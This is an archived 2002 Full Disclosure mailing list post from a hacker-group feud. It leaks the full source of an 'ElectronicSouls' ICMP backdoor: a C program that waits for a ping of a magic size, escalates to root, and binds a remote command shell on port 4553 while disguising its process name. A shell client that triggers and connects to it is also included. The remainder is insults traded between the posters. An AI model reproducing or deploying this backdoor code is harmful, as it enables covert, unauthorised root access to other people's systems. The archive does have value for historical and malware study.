Full Disclosure mailing list archives
Fwd: Fwd: Re: Re: Re: ELECTRONICSOULS POSTS ARE FAKE !!
From: electronicsouls () hushmail com
Date: Sat, 30 Nov 2002 17:03:14 -0800
-----BEGIN PGP SIGNED MESSAGE----- 'icmp backdoor" # tar zxvf 4553-icmp-bd2.tar.gz 4553-icmp-bd/ 4553-icmp-bd/icmp.bd.c 4553-icmp-bd/README 4553-icmp-bd/client.sh # cd 4553-icmp-bd # cat README DO NOT FSCKING DISTRIBUTE !! PROPERTY OF THE ELECTRONICSOULS CREW. THIS MAY NOT BE PUBLISHED,DISCLOSED OR REDISTRIBUTED WITHOUT WRITTEN PERMISSION OF ES !! (C) BrainStorm & Ares THIS IS FOR 0x4553 MEMBERS ONLY ! THE CODE IS IN BETA ! VERSION: 0.2 # cat client.sh #!/bin/sh # # this client is just a test client, # maybe i code one in C who knows.. # but doing it by hand shouldnt be too much work tho :P echo "ElectronicSouls icmp bd client" if [ "$2" = "" ] then echo "usage: $0 <host> <port>" exit fi echo "sending magic packet.." ping -s 4553 -c 1 $1 echo "trying to connect to: $1" telnet $1 $2 # cat icmp.bd.c /* 0x5345 / 0x4553 / 0x5345 / 0x4553 / 0x5345 / 0x4553 / * * PRIVATE SOURCE MATERIAL OF 0x4553!! * * ElectronicSouls ICMP backdoor * +++++++++++++++++++++++++++++ * usage: * The packet size you choose is our magic packet. * lets say we use "1024" to start the backdoor, * ping the target host with "-s 1024" for example. * * DO NOT DISTRIBUTE !!@# * 0x5345 / 0x4553 / 0x5345 / 0x4553 / 0x5345 / 0x4553 / * -- (C) BrainStorm & Ares -- */ #include <stdio.h> #include <signal.h> #include <netinet/ip.h> #include <netdb.h> #include <fcntl.h> #define MAGIC 4553 #define fake "proc" #define port 4553 #define prepare(buf) fgets(buf,256,stdin);if(*buf) buf[strlen(buf)-2]='\0'; int pack_size,s,size,lenght,prt; char packet[9000],c[256]; pid_t pid; int run(prt) { int soc, cli; struct sockaddr_in serv_addr; setuid(0);setgid(0);seteuid(0);setegid(0); if((pid=fork())==0) /* start of the portshell */ { serv_addr.sin_family=2; serv_addr.sin_addr.s_addr=0; serv_addr.sin_port=htons(port); soc=socket(2,1,6); bind(soc,(struct sockaddr *)&serv_addr,0x10); listen(soc,1); cli=accept(soc,0,0); dup2(cli,0); dup2(cli,1); dup2(cli,2); for(;;) { write(0,"\nsh$ ",5); prepare(c); if(!strcmp(c,"exit")){close(soc);exit(0);} system(c); bzero(c,0); } } pid=wait(NULL); close(soc); } int main(int argc, char *argv[]) { struct protoent *prot; struct sockaddr_in sockadd; bzero(argv[0],strlen(argv[0])); strcpy(argv[0],fake); if(argc < 1) { printf("\n ElectronicSouls ICMP backdoor \n usage: %s <magic-packet> (default:4553) \n", argv[0]); exit(0); } pack_size = MAGIC; //atoi(argv[2]); signal(SIGHUP,SIG_IGN); prot = getprotobyname("icmp"); for(;;) { if ((s = socket(AF_INET, SOCK_RAW, prot->p_proto)) < 0) exit(0); do { lenght = sizeof(sockadd); if ((size = recvfrom(s, packet, sizeof(packet), 0, (struct sockaddr *) &sockadd, &lenght)) < 0) printf("ping of %i\n", size-28); } while (size != pack_size+28); run(port); } } # Please, fake BrainStorm, stop trying to discredit us, before we are forced to show off your hacking logs gathered from script + screen -x. We know who you are. The Electronic Souls Crew [ElectronicSouls] (c) 2002 "Bigger. Badder. Impotent." - ----- Forwarded Message from es () hush com ----- - ----- Forwarded Message from Brain Storm <brainstorm () ElectronicSouls zzn com> ----- umm whatever you are just sad ..what you got is leaked stuff from a old ftp dump ..why dont you release one of the ELF infector (no not invader f00ls :P) or the icmp backdoor, or one of the ptrace codes (nope not annoy.c) ? its because you got our old stuff that was made the last 7 years ..some shit that you released is indeed from 2002 .but thats just stupid PoC stuff that can be released anyway ..and you even post fake shit ..admit it kiddies ..whatever you are just lame and if someone makes fun of a code that i made 7 years ago when i started then i dont give a shit since those ppl like you are retard .and you dont even have the balls to say who you really are ..go get a life instead of sitting in front of your system 24/7 and pretend to be someone on irc..you have to make fun of other ppls old codes for your ego ..whatever we can just laugh about so much lameness Get your own Free ES E-mail account at : Http://electronicsouls.zzn.com ___________________________________________________________ Get your own Web-based E-mail Service at http://www.zzn.com Concerned about your privacy? Follow this link to get FREE encrypted email: https://www.hushmail.com/?l=2 Big $$$ to be made with the HushMail Affiliate Program: https://www.hushmail.com/about.php?subloc=affiliate&l=427 -----BEGIN PGP SIGNATURE----- Version: Hush 2.2 (Java) Note: This signature can be verified at https://www.hushtools.com/verify wmQEARECACQFAj3pX+4dHGVsZWN0cm9uaWNzb3Vsc0BodXNobWFpbC5jb20ACgkQ39CI 8XTNSM5V2wCdE97kBlPpyY412FJ35HqBIY8O3P8An0s82JOM8lWEo2GOdknGiHK+CDBG =vfEc -----END PGP SIGNATURE----- Concerned about your privacy? Follow this link to get FREE encrypted email: https://www.hushmail.com/?l=2 Big $$$ to be made with the HushMail Affiliate Program: https://www.hushmail.com/about.php?subloc=affiliate&l=427 _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- Fwd: Fwd: Re: Re: Re: ELECTRONICSOULS POSTS ARE FAKE !! electronicsouls (Nov 30)